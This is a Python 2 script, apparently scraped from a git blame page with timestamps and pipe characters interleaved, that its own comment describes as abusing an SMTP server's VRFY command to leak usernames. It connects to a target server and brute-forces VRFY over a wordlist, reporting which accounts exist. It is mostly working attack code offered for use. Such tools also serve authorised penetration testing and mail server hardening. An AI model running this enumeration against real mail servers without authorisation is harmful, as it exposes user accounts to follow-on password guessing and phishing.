2018-02-02 22:22:43 +01:00
|
|
|
#!/usr/bin/python
|
|
|
|
#
|
|
|
|
# Simple script intended to abuse SMTP server's VRFY command to leak
|
|
|
|
# usernames having accounts registered within it.
|
|
|
|
#
|
2021-10-24 23:11:42 +02:00
|
|
|
# Mariusz Banach, 2016
|
2018-02-02 22:22:43 +01:00
|
|
|
#
|
|
|
|
|
|
|
|
import socket
|
|
|
|
import sys
|
|
|
|
import os
|
|
|
|
|
|
|
|
# Specify below your default, fallback wordlist
|
|
|
|
DEFAULT_WORDLIST = '/root/data/fuzzdb/wordlists-user-passwd/names/namelist.txt'
|
|
|
|
DEFAULT_TIMEOUT = 20
|
|
|
|
|
|
|
|
def interpret_smtp_status_code(resp):
|
|
|
|
code = int(resp.split(' ')[0])
|
|
|
|
messages = {
|
|
|
|
250:'Requested mail action okay, completed',
|
|
|
|
251:'User not local; will forward to <forward-path>',
|
|
|
|
252:'Cannot VRFY user, but will accept message and attempt delivery',
|
|
|
|
502:'Command not implemented',
|
|
|
|
530:'Access denied (???a Sendmailism)',
|
|
|
|
550:'Requested action not taken: mailbox unavailable',
|
|
|
|
551:'User not local; please try <forward-path>',
|
|
|
|
}
|
|
|
|
|
|
|
|
if code in messages.keys():
|
|
|
|
return '({} {})'.format(code, messages[code])
|
|
|
|
else:
|
|
|
|
return '({} code unknown)'.format(code)
|
|
|
|
|
|
|
|
def vrfy(server, username, port, timeout, brute=False):
|
|
|
|
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
|
|
s.settimeout(timeout)
|
|
|
|
|
|
|
|
try:
|
|
|
|
conn = s.connect((server, port))
|
|
|
|
except socket.error, e:
|
|
|
|
print '[!] Connection failed with {}:{} - "{}"'.format(server, port, str(e))
|
|
|
|
return False
|
|
|
|
|
|
|
|
try:
|
|
|
|
print '[+] Service banner: "{}"'.format(s.recv(1024).strip())
|
|
|
|
s.send('HELO test@test.com\r\n')
|
|
|
|
print '[>] Response for HELO from {}:{} - '.format(server, port) + s.recv(1024).strip()
|
|
|
|
|
|
|
|
except socket.error, e:
|
|
|
|
print '[!] Failed at initial session setup: "{}"'.format(str(e))
|
|
|
|
return False
|
|
|
|
|
|
|
|
if brute:
|
|
|
|
print '[?] Engaging brute-force enumeration...'
|
|
|
|
|
|
|
|
|
|
|
|
if brute:
|
|
|
|
for i in range(len(username)):
|
|
|
|
user = username[i]
|
|
|
|
s.send('VRFY ' + user + '\r\n')
|
|
|
|
res = s.recv(1024).strip()
|
|
|
|
print '({}/{}) Server: {}:{} | VRFY {} | Result: [{}]'.format(
|
|
|
|
i, len(username), server, port, user, interpret_smtp_status_code(res))
|
|
|
|
else:
|
|
|
|
s.send('VRFY ' + username + '\r\n')
|
|
|
|
res = s.recv(1024).strip()
|
|
|
|
|
|
|
|
print '[>] Response from {}:{} - '.format(server, port) + interpret_smtp_status_code(res)
|
|
|
|
if 'User unknown' in res:
|
|
|
|
print '[!] User not found.'
|
|
|
|
elif (res.startswith('25') and username in res and '<' in res and '>' in res):
|
|
|
|
print '[+] User found: "{}"'.format(res.strip())
|
|
|
|
else:
|
|
|
|
print '[?] Response: "{}"'.format(res.strip())
|
|
|
|
|
|
|
|
s.close()
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
|
if len(sys.argv) < 2:
|
|
|
|
print '[?] Usage: smtpvrfy.py <smtpserver> [username|wordlist] [timeout]'
|
|
|
|
print '\t(to specify a port provide it after a colon \':\' in server parameter)'
|
|
|
|
sys.exit(0)
|
|
|
|
|
|
|
|
server = sys.argv[1]
|
|
|
|
port = 25 if ':' not in server else int(server[server.find(':')+1:])
|
|
|
|
username = sys.argv[2] if len(sys.argv) >= 3 else DEFAULT_WORDLIST
|
|
|
|
timeout = DEFAULT_TIMEOUT if len(sys.argv) < 4 else int(sys.argv[3])
|
|
|
|
|
|
|
|
if os.path.isfile(username):
|
|
|
|
names = []
|
|
|
|
with open(username, 'r') as f:
|
|
|
|
for a in f:
|
|
|
|
names.append(a.strip())
|
|
|
|
print '[>] Provided wordlist file with {} entries.'.format(len(names))
|
|
|
|
vrfy(server, names, port, timeout, brute=True)
|
|
|
|
else:
|
|
|
|
vrfy(server, username, port, timeout)
|